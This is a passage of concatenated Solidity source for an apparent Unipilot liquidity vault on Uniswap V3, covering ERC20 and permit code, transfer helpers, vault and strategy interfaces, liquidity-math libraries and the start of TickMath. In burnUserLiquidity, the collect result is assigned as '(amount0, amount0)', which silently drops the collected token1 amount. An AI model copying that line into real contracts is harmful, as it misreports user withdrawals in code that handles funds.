_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "../interfaces/external/IERC20.sol";
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(
IERC20.transferFrom.selector,
from,
to,
value
)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"STF"
);
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.transfer.selector, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"ST"
);
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.approve.selector, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"SA"
);
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{ value: value }(new bytes(0));
require(success, "STE");
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title Interface for WETH9
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
/// @notice Withdraw wrapped ether to get ether
function withdraw(uint256) external;
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IUnipilotVault {
struct ReadjustVars {
uint256 fees0;
uint256 fees1;
int24 currentTick;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint128 liquidity;
uint256 amount0;
uint256 amount1;
bool zeroForOne;
int256 amountSpecified;
uint160 exactSqrtPriceImpact;
uint160 sqrtPriceLimitX96;
}
struct TicksData {
int24 baseTickLower;
int24 baseTickUpper;
int24 rangeTickLower;
int24 rangeTickUpper;
}
struct Tick {
int24 baseTickLower;
int24 baseTickUpper;
int24 bidTickLower;
int24 bidTickUpper;
int24 rangeTickLower;
int24 rangeTickUpper;
}
struct Cache {
uint256 totalSupply;
uint256 liquidityShare;
}
event Deposit(
address indexed depositor,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 lpShares
);
event FeesSnapshot(bool isReadjustLiquidity, uint256 fees0, uint256 fees1);
event Withdraw(
address indexed recipient,
uint256 shares,
uint256 amount0,
uint256 amount1
);
event PullLiquidity(
uint256 reserves0,
uint256 reserves1,
uint256 fees0,
uint256 fees1
);
event CompoundFees(uint256 amount0, uint256 amount1);
/// @notice Deposits tokens in proportion to the Unipilot's current holdings & mints them
/// `Unipilot`s LP token.
/// @param amount0Desired Max amount of token0 to deposit
/// @param amount1Desired Max amount of token1 to deposit
/// @param recipient Recipient of shares
/// @return lpShares Number of shares minted
/// @return amount0 Amount of token0 deposited in vault
/// @return amount1 Amount of token1 deposited in vault
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address recipient
)
external
payable
returns (
uint256 lpShares,
uint256 amount0,
uint256 amount1
);
/// @notice Withdraws the desired shares from the vault with accumulated user fees and transfers to recipient.
/// @param recipient Recipient of tokens
/// @param refundAsETH whether to recieve in WETH or ETH (only valid for WETH/ALT pairs)
/// @return amount0 Amount of token0 sent to recipient
/// @return amount1 Amount of token1 sent to recipient
function withdraw(
uint256 liquidity,
address recipient,
bool refundAsETH
) external returns (uint256 amount0, uint256 amount1);
/// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay to the pool for the minted liquidity.
/// @param amount0Owed The amount of token0 due to the pool for the minted liquidity
/// @param amount1Owed The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external;
/// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap.
/// @dev In the implementation you must pay to the pool for swap.
/// @param amount0Delta The amount of token0 due to the pool for the swap
/// @param amount1Delta The amount of token1 due to the pool for the swap
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
/// @notice Burns all position(s), collects any fees accrued and updates Unipilot's position(s)
/// @dev mints all amounts to this position(s) (including earned fees)
/// @dev For active vaults it can be called by the governance or operator,
/// swaps imbalanced token and add all liquidity in base position.
/// @dev For passive vaults it can be called by any user.
/// Two positions are placed - a base position and a limit position. The base
/// position is placed first with as much liquidity as possible. This position
/// should use up all of one token, leaving only the other one. This excess
/// amount is then placed as a single-sided bid or ask position.
function readjustLiquidity() external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.6;
pragma abicoder v2;
interface IUnipilotStrategy {
struct PoolStrategy {
int24 baseThreshold;
int24 rangeThreshold;
int24 maxTwapDeviation;
int24 readjustThreshold;
uint32 twapDuration;
int24 baseMultiplier;
}
event GovernanceUpdated(address oldGovernance, address newGovernance);
event StrategyUpdated(PoolStrategy oldStrategy, PoolStrategy newStrategy);
event MaxTwapDeviationUpdated(int24 oldDeviation, int24 newDeviation);
event BaseTicksUpdated(int24 oldBaseTicks, int24 newBaseTicks);
event RangeTicksUpdated(int24 oldRangeTicks, int24 newRangeTicks);
event TwapDurationUpdated(uint32 oldDuration, uint32 newDuration);
event ReadjustMultiplierUpdated(int24 oldMultiplier, int24 newMultiplier);
function getTicks(address _pool)
external
returns (
int24 baseLower,
int24 baseUpper,
int24 bidLower,
int24 bidUpper,
int24 askLower,
int24 askUpper
);
function getTwap(address _pool) external view returns (int24);
function getStrategy(address _pool)
external
view
returns (PoolStrategy memory strategy);
function getBaseThreshold(address _pool)
external
view
returns (int24 baseThreshold);
function twapDuration() external view returns (uint32);
function maxTwapDeviation() external view returns (int24);
function checkDeviation(address pool) external view;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "./UniswapPoolActions.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@uniswap/v3-core/contracts/libraries/SqrtPriceMath.sol";
import "@uniswap/v3-periphery/contracts/libraries/PositionKey.sol";
import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol";
import "../interfaces/IUnipilotVault.sol";
/// @title Liquidity and ticks functions
/// @notice Provides functions for computing liquidity and ticks for token amounts and prices
library UniswapLiquidityManagement {
using LowGasSafeMath for uint256;
struct Info {
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0;
uint256 amount1;
uint128 liquidity;
int24 tickLower;
int24 tickUpper;
}
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
/// @param pool Uniswap V3 pool
/// @param liquidity The liquidity being valued
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amounts of token0 and token1 that corresponds to liquidity
function getAmountsForLiquidity(
IUniswapV3Pool pool,
uint128 liquidity,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint256, uint256) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
liquidity
);
}
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
/// @param pool Uniswap V3 pool
/// @param amount0 The amount of token0
/// @param amount1 The amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return The maximum amount of liquidity that can be held amount0 and amount1
function getLiquidityForAmounts(
IUniswapV3Pool pool,
uint256 amount0,
uint256 amount1,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint128) {
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
amount0,
amount1
);
}
/// @dev Amount of liquidity in contract position.
/// @param pool Uniswap V3 pool
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return liquidity stored in position
function getPositionLiquidity(
IUniswapV3Pool pool,
int24 _tickLower,
int24 _tickUpper
)
internal
view
returns (
uint128 liquidity,
uint128 tokensOwed0,
uint128 tokensOwed1
)
{
bytes32 positionKey = PositionKey.compute(
address(this),
_tickLower,
_tickUpper
);
(liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey);
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function floor(int24 tick, int24 tickSpacing)
internal
pure
returns (int24)
{
int24 compressed = tick / tickSpacing;
if (tick < 0 && tick % tickSpacing != 0) compressed--;
return compressed * tickSpacing;
}
function getSqrtRatioX96AndTick(IUniswapV3Pool pool)
internal
view
returns (
uint160 _sqrtRatioX96,
int24 _tick,
uint16 observationCardinality
)
{
(_sqrtRatioX96, _tick, , observationCardinality, , , ) = pool.slot0();
}
/// @dev Calc base ticks depending on base threshold and tickspacing
function getBaseTicks(
int24 currentTick,
int24 baseThreshold,
int24 tickSpacing
) internal pure returns (int24 tickLower, int24 tickUpper) {
int24 tickFloor = floor(currentTick, tickSpacing);
tickLower = tickFloor - baseThreshold;
tickUpper = tickFloor + baseThreshold;
}
function collectableAmountsInPosition(
IUniswapV3Pool pool,
int24 _lowerTick,
int24 _upperTick
)
internal
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
(
uint128 liquidity,
uint128 earnable0,
uint128 earnable1
) = getPositionLiquidity(pool, _lowerTick, _upperTick);
(uint256 burnable0, uint256 burnable1) = UniswapLiquidityManagement
.getAmountsForLiquidity(pool, liquidity, _lowerTick, _upperTick);
return (burnable0, burnable1, earnable0, earnable1);
}
function computeLpShares(
IUniswapV3Pool pool,
bool isWhitelisted,
uint256 amount0Max,
uint256 amount1Max,
uint256 balance0,
uint256 balance1,
uint256 totalSupply,
IUnipilotVault.TicksData memory ticks
)
internal
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
(
uint256 res0,
uint256 res1,
uint256 fees0,
uint256 fees1,
,
) = getTotalAmounts(pool, isWhitelisted, ticks);
uint256 reserve0 = res0.add(fees0).add(balance0);
uint256 reserve1 = res1.add(fees1).add(balance1);
// If total supply > 0, pool can't be empty
assert(totalSupply == 0 || reserve0 != 0 || reserve1 != 0);
(shares, amount0, amount1) = calculateShare(
amount0Max,
amount1Max,
reserve0,
reserve1,
totalSupply
);
}
function getTotalAmounts(
IUniswapV3Pool pool,
bool isWhitelisted,
IUnipilotVault.TicksData memory ticks
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1,
uint128 baseLiquidity,
uint128 rangeLiquidity
)
{
(amount0, amount1, fees0, fees1, baseLiquidity) = getReserves(
pool,
ticks.baseTickLower,
ticks.baseTickUpper
);
if (!isWhitelisted) {
(
uint256 range0,
uint256 range1,
uint256 rangeFees0,
uint256 rangeFees1,
uint128 rangeliquidity
) = getReserves(pool, ticks.rangeTickLower, ticks.rangeTickUpper);
amount0 = amount0.add(range0);
amount1 = amount1.add(range1);
fees0 = fees0.add(rangeFees0);
fees1 = fees1.add(rangeFees1);
rangeLiquidity = rangeliquidity;
}
}
function getReserves(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1,
uint128 liquidity
)
{
liquidity = UniswapPoolActions.updatePosition(
pool,
tickLower,
tickUpper
);
if (liquidity > 0) {
(amount0, amount1, fees0, fees1) = collectableAmountsInPosition(
pool,
tickLower,
tickUpper
);
}
}
function calculateShare(
uint256 amount0Max,
uint256 amount1Max,
uint256 reserve0,
uint256 reserve1,
uint256 totalSupply
)
internal
pure
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
if (totalSupply == 0) {
// For first deposit, just use the amounts desired
amount0 = amount0Max;
amount1 = amount1Max;
shares = amount0 > amount1 ? amount0 : amount1; // max
} else if (reserve0 == 0) {
amount1 = amount1Max;
shares = FullMath.mulDiv(amount1, totalSupply, reserve1);
} else if (reserve1 == 0) {
amount0 = amount0Max;
shares = FullMath.mulDiv(amount0, totalSupply, reserve0);
} else {
amount0 = FullMath.mulDiv(amount1Max, reserve0, reserve1);
if (amount0 < amount0Max) {
amount1 = amount1Max;
shares = FullMath.mulDiv(amount1, totalSupply, reserve1);
} else {
amount0 = amount0Max;
amount1 = FullMath.mulDiv(amount0, reserve1, reserve0);
shares = FullMath.mulDiv(amount0, totalSupply, reserve0);
}
}
}
/// @dev Gets ticks with proportion equivalent to desired amount
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param baseThreshold The range for upper and lower ticks
/// @param tickSpacing The pool tick spacing
/// @return tickLower The lower tick of the range
/// @return tickUpper The upper tick of the range
function getPositionTicks(
IUniswapV3Pool pool,
uint256 amount0Desired,
uint256 amount1Desired,
int24 baseThreshold,
int24 tickSpacing
) internal view returns (int24 tickLower, int24 tickUpper) {
Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0);
// Get current price and tick from the pool
(uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0();
//Calc base ticks
(cache.tickLower, cache.tickUpper) = getBaseTicks(
currentTick,
baseThreshold,
tickSpacing
);
//Calc amounts of token0 and token1 that can be stored in base range
(cache.amount0, cache.amount1) = getAmountsForTicks(
pool,
cache.amount0Desired,
cache.amount1Desired,
cache.tickLower,
cache.tickUpper
);
// //Liquidity that can be stored in base range
cache.liquidity = getLiquidityForAmounts(
pool,
cache.amount0,
cache.amount1,
cache.tickLower,
cache.tickUpper
);
// //Get imbalanced token
bool zeroGreaterOne = amountsDirection(
cache.amount0Desired,
cache.amount1Desired,
cache.amount0,
cache.amount1
);
//Calc new tick(upper or lower) for imbalanced token
if (zeroGreaterOne) {
uint160 nextSqrtPrice0 = SqrtPriceMath
.getNextSqrtPriceFromAmount0RoundingUp(
sqrtPriceX96,
cache.liquidity,
cache.amount0Desired,
false
);
cache.tickUpper = floor(
TickMath.getTickAtSqrtRatio(nextSqrtPrice0),
tickSpacing
);
} else {
uint160 nextSqrtPrice1 = SqrtPriceMath
.getNextSqrtPriceFromAmount1RoundingDown(
sqrtPriceX96,
cache.liquidity,
cache.amount1Desired,
false
);
cache.tickLower = floor(
TickMath.getTickAtSqrtRatio(nextSqrtPrice1),
tickSpacing
);
}
checkRange(cache.tickLower, cache.tickUpper);
/// floor the tick again because one tick is still not valid tick due to + - baseThreshold
tickLower = floor(cache.tickLower, tickSpacing);
tickUpper = floor(cache.tickUpper, tickSpacing);
}
/// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amount0 amounts of token0 that can be stored in range
/// @return amount1 amounts of token1 that can be stored in range
function getAmountsForTicks(
IUniswapV3Pool pool,
uint256 amount0Desired,
uint256 amount1Desired,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint256 amount0, uint256 amount1) {
uint128 liquidity = getLiquidityForAmounts(
pool,
amount0Desired,
amount1Desired,
_tickLower,
_tickUpper
);
(amount0, amount1) = getAmountsForLiquidity(
pool,
liquidity,
_tickLower,
_tickUpper
);
}
/// @dev Common checks for valid tick inputs.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
function checkRange(int24 tickLower, int24 tickUpper) internal pure {
require(tickLower < tickUpper, "TLU");
require(tickLower >= TickMath.MIN_TICK, "TLM");
require(tickUpper <= TickMath.MAX_TICK, "TUM");
}
/// @dev Get imbalanced token
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param amount0 Amounts of token0 that can be stored in base range
/// @param amount1 Amounts of token1 that can be stored in base range
/// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced
function amountsDirection(
uint256 amount0Desired,
uint256 amount1Desired,
uint256 amount0,
uint256 amount1
) internal pure returns (bool zeroGreaterOne) {
zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) >
amount1Desired.sub(amount1).mul(amount0Desired)
? true
: false;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import "./SafeCastExtended.sol";
import "./UniswapLiquidityManagement.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol";
/// @title Liquidity and ticks functions
/// @notice Provides functions for computing liquidity and ticks for token amounts and prices
library UniswapPoolActions {
using LowGasSafeMath for uint256;
using SafeCastExtended for uint256;
using UniswapLiquidityManagement for IUniswapV3Pool;
function updatePosition(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper
) internal returns (uint128 liquidity) {
(liquidity, , ) = pool.getPositionLiquidity(tickLower, tickUpper);
if (liquidity > 0) {
pool.burn(tickLower, tickUpper, 0);
}
}
function burnLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
address recipient
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 fees0,
uint256 fees1
)
{
(uint128 liquidity, , ) = pool.getPositionLiquidity(
tickLower,
tickUpper
);
if (liquidity > 0) {
(amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity);
if (amount0 > 0 || amount1 > 0) {
(uint256 collect0, uint256 collect1) = pool.collect(
recipient,
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
(fees0, fees1) = (collect0.sub(amount0), collect1.sub(amount1));
}
}
}
function burnUserLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint256 userSharePercentage,
address recipient
) internal returns (uint256 amount0, uint256 amount1) {
(uint128 liquidity, , ) = pool.getPositionLiquidity(
tickLower,
tickUpper
);
uint256 liquidityRemoved = FullMath.mulDiv(
uint256(liquidity),
userSharePercentage,
1e18
);
(amount0, amount1) = pool.burn(
tickLower,
tickUpper,
liquidityRemoved.toUint128()
);
if (amount0 > 0 || amount1 > 0) {
(amount0, amount0) = pool.collect(
recipient,
tickLower,
tickUpper,
amount0.toUint128(),
amount1.toUint128()
);
}
}
function mintLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint256 amount0Desired,
uint256 amount1Desired
) internal returns (uint256 amount0, uint256 amount1) {
uint128 liquidity = pool.getLiquidityForAmounts(
amount0Desired,
amount1Desired,
tickLower,
tickUpper
);
if (liquidity > 0) {
(amount0, amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(address(this))
);
}
}
function swapToken(
IUniswapV3Pool pool,
address recipient,
bool zeroForOne,
int256 amountSpecified
) internal {
(uint160 sqrtPriceX96, , ) = pool.getSqrtRatioX96AndTick();
uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (1e5 / 2)) / 1e6;
uint160 sqrtPriceLimitX96 = zeroForOne
? sqrtPriceX96 - exactSqrtPriceImpact
: sqrtPriceX96 + exactSqrtPriceImpact;
pool.swap(
recipient,
zeroForOne,
amountSpecified,
sqrtPriceLimitX96,
abi.encode(zeroForOne)
);
}
function collectPendingFees(
IUniswapV3Pool pool,
address recipient,
int24 tickLower,
int24 tickUpper
) internal returns (uint256 collect0, uint256 collect1) {
updatePosition(pool, tickLower, tickUpper);
(collect0, collect1) = pool.collect(
recipient,
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
}
function rerangeLiquidity(
IUniswapV3Pool pool,
int24 baseThreshold,
int24 tickSpacing,
uint256 balance0,
uint256 balance1
) internal returns (int24 tickLower, int24 tickUpper) {
(tickLower, tickUpper) = pool.getPositionTicks(
balance0,
balance1,
baseThreshold,
tickSpacing
);
mintLiquidity(pool, tickLower, tickUpper, balance0, balance1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.5 <0.8.0;
import "../token/ERC20/ERC20.sol";
import "./IERC20Permit.sol";
import "../cryptography/ECDSA.sol";
import "../utils/Counters.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_nonces[owner].current(),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_nonces[owner].increment();
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
